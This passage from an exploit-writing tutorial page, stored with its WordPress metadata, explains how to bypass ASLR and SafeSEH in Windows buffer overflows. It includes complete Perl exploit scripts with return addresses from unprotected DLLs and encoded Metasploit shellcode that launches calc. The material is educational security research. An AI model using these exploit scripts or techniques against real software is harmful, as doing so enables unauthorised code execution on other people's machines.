#8b0000\">\\x4c\\x4b\\x42\\x50\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x42\\x48\\x43\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x39\\x4a\\x58\\x4d\\x53\\x49\\x50\\x43\\x5a\\x50\\x50\\x43\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x30\\x4d\\x5a\\x45\\x54\\x51\\x4f\\x42\\x48\\x4d\\x48\\x4b\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4d\\x5a\\x44\\x4e\\x50\\x57\\x4b\\x4f\\x4b\\x57\\x43\\x53\\x43\\x51<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x4c\\x43\\x53\\x43\\x30\\x41\\x41<\/span>&quot;;\n$payload =$junk.$ret.$nops.$shellcode;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> ($FILE,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> $FILE $payload;\n<span style=\"color: #0000ff\">close<\/span>($FILE);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes written to file\\n<\/span>&quot;;<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image70.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb70.png\" width=\"305\" height=\"194\" \/><\/a><\/p>\n<p>Reboot, try again\u2026 it should still work<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image71.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb71.png\" width=\"309\" height=\"250\" \/><\/a><\/p>\n<h4>ASLR Bypass : SEH based exploits<\/h4>\n<p>In case of <strong><span style=\"text-decoration: underline\">SEH based exploit<\/span><\/strong>, the basic technique is the same. Find modules that are not aslr protected, find an address that does what you want it to do, and sploit... Let\u2019s pretend that we need to bypass safeseh as well, for the phun of it.<\/p>\n<p>Modules without safeseh : (!pvefindaddr nosafeseh)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image67.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb67.png\" width=\"283\" height=\"183\" \/><\/a><\/p>\n<p>Modules without safeseh and not ASLR aware : (!pvefindaddr nosafesehaslr)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image68.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb68.png\" width=\"284\" height=\"143\" \/><\/a><\/p>\n<p>If we can find a usable address in one of these modules, we should be good to go. Again, the output will not be reliable, so you need to reboot &amp; compare the outcome in order to be sure. The modules that are not aslr protected, and not safeseh protected either, are :<\/p>\n<p>* skinscrollbar.dll (0x10000000)<\/p>\n<p>* configuration.dll (0x60300000)<\/p>\n<p>* epg.dll (0x61600000)<\/p>\n<p>* mediaplayerctrl.dll (0x64000000)<\/p>\n<p>* netreg.dll (0x64100000)<\/p>\n<p>* versioninfo.dll (0x67000000)<\/p>\n<p>So a pop pop ret from any of these modules (or, alternatively, a jmp\/call dword[reg+nn] would work too)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image72.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb72.png\" width=\"343\" height=\"229\" \/><\/a><\/p>\n<p>Working exploit (SE structure hit after 608 bytes, using pop pop ret from skinscrollbar.dll) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $sploitfile=&quot;<span style=\"color: #8b0000\">blazesploit.plf<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Preparing payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 608;\n<span style=\"color: #0000ff\">my<\/span> $nseh = &quot;<span style=\"color: #8b0000\">\\xeb\\x18\\x90\\x90<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $seh = <span style=\"color: #0000ff\">pack<\/span>('V',0x100101e7); #p esi\/p ecx\/ret from skinscrollbar.dll\n<span style=\"color: #0000ff\">my<\/span> $nop = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 30;\n# windows\/<span style=\"color: #0000ff\">exec<\/span> - 302 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/alpha_upper\n# EXITFUNC=seh, CMD=calc\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x89\\xe3\\xdb\\xc2\\xd9\\x73\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4b\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x54\\x43\\x30\\x45\\x50\\x45\\x50\\x4c\\x4b\\x47\\x35\\x47\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x43\\x31\\x4a\\x4f\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x45\\x51\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x45\\x51\\x4a\\x4e\\x50\\x31<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x50\\x4c\\x59\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x44\\x34\\x45\\x57<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4b\\x44<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x4b\\x50\\x54\\x47\\x54\\x45\\x54\\x43\\x45\\x4a\\x45\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4f\\x46\\x44\\x45\\x51\\x4a\\x4b\\x45\\x36\\x4c\\x4b\\x44\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x4c\\x4c\\x4b\\x43\\x31\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x46\\x44<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x34\\x49\\x53\\x51\\x4f\\x46\\x51\\x4b\\x46\\x43\\x50\\x46\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x34\\x4c\\x4b\\x50\\x46\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x42\\x50\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x42\\x48\\x43\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x39\\x4a\\x58\\x4d\\x53\\x49\\x50\\x43\\x5a\\x50\\x50\\x43\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x30\\x4d\\x5a\\x45\\x54\\x51\\x4f\\x42\\x48\\x4d\\x48\\x4b\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4d\\x5a\\x44\\x4e\\x50\\x57\\x4b\\x4f\\x4b\\x57\\x43\\x53\\x43\\x51<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x4c\\x43\\x53\\x43\\x30\\x41\\x41<\/span>&quot;;\n$payload =$junk.$nseh.$seh.$nop.$shellcode;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Writing exploit file $sploitfile\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span> ($FILE,&quot;<span style=\"color: #8b0000\">&gt;$sploitfile<\/span>&quot;);\n<span style=\"color: #0000ff\">print<\/span> $FILE $payload;\n<span style=\"color: #0000ff\">close<\/span>($FILE);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] <\/span>&quot;.<span style=\"color: #0000ff\">length<\/span>($payload).&quot;<span style=\"color: #8b0000\"> bytes written to file\\n<\/span>&quot;;<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image73.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb73.png\" width=\"335\" height=\"255\" \/><\/a><\/p>\n<h3>ASLR and DEP<\/h3>\n<p>The ANI exploit illustrates a possible way of bypassing DEP and ASLR at the same time. The vulnerable code that allowed for the ANI vulnerability to be exploited was wrapped in an exception handler that did not made the application crash. So the address in ntdll.dll (which is subject to ASLR and thus randomized) to disable DEP could be bruteforced by trying multiple ANI files (a maximum of 256 different files would do) each with a different address.<\/p>\n<h3>Questions ? Comments ?<\/h3>\n<blockquote>\n<p>Feel free to post your questions, comments, feedback, etc at the forum : <a title=\"\/index.php\/forum\/writing-exploits\/\" href=\"\/index.php\/forum\/writing-exploits\/\">https:\/\/www.corelan.be\/index.php\/forum\/writing-exploits\/<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>Introduction In all previous tutorials in this Exploit writing tutorial series, we have looked at building exploits that would work on Windows XP \/ 2003 server. The success of all of these exploits (whether they are based on direct ret overwrite or exception handler structure overwrites) are based on the fact that a reliable return &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[244,245,127],"tags":[3733,2128,1978,1977,1933,1919,1865,1853,1836,1828,1478,285],"class_list":["post-2266","post","type-post","status-publish","format-standard","hentry","category-exploit-writing-tutorials","category-exploits","category-security","tag-exploit-development-tutorial","tag-immunity-debugger","tag-python","tag-pvefindaddr","tag-pycommand","tag-aslr","tag-seh","tag-dep","tag-stack","tag-overflow","tag-plugin","tag-windbg"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Introduction In all previous tutorials in this Exploit writing tutorial series, we have looked at building exploits that would work on Windows XP \/ 2003 server. The success of all of these exploits (whether they are based on direct ret overwrite or exception handler structure overwrites) are based on the fact that a reliable return &hellip; Continue reading &quot;Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2009-09-21T21:45:42+00:00\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR\",\"datePublished\":\"2009-09-21T21:45:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/\"},\"wordCount\":12980,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"keywords\":[\"exploit development tutorial\",\"immunity debugger\",\"python\",\"pvefindaddr\",\"pycommand\",\"aslr\",\"seh\",\"dep\",\"stack\",\"overflow\",\"plugin\",\"windbg\"],\"articleSection\":[\"Exploit Writing Tutorials\",\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/\",\"name\":\"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"datePublished\":\"2009-09-21T21:45:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/09\\\/21\\\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/","og_locale":"en_US","og_type":"article","og_title":"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Introduction In all previous tutorials in this Exploit writing tutorial series, we have looked at building exploits that would work on Windows XP \/ 2003 server. The success of all of these exploits (whether they are based on direct ret overwrite or exception handler structure overwrites) are based on the fact that a reliable return &hellip; Continue reading \"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR\"","og_url":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2009-09-21T21:45:42+00:00","author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR","datePublished":"2009-09-21T21:45:42+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/"},"wordCount":12980,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"keywords":["exploit development tutorial","immunity debugger","python","pvefindaddr","pycommand","aslr","seh","dep","stack","overflow","plugin","windbg"],"articleSection":["Exploit Writing Tutorials","Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/","url":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/","name":"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"datePublished":"2009-09-21T21:45:42+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2009\/09\/21\/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but 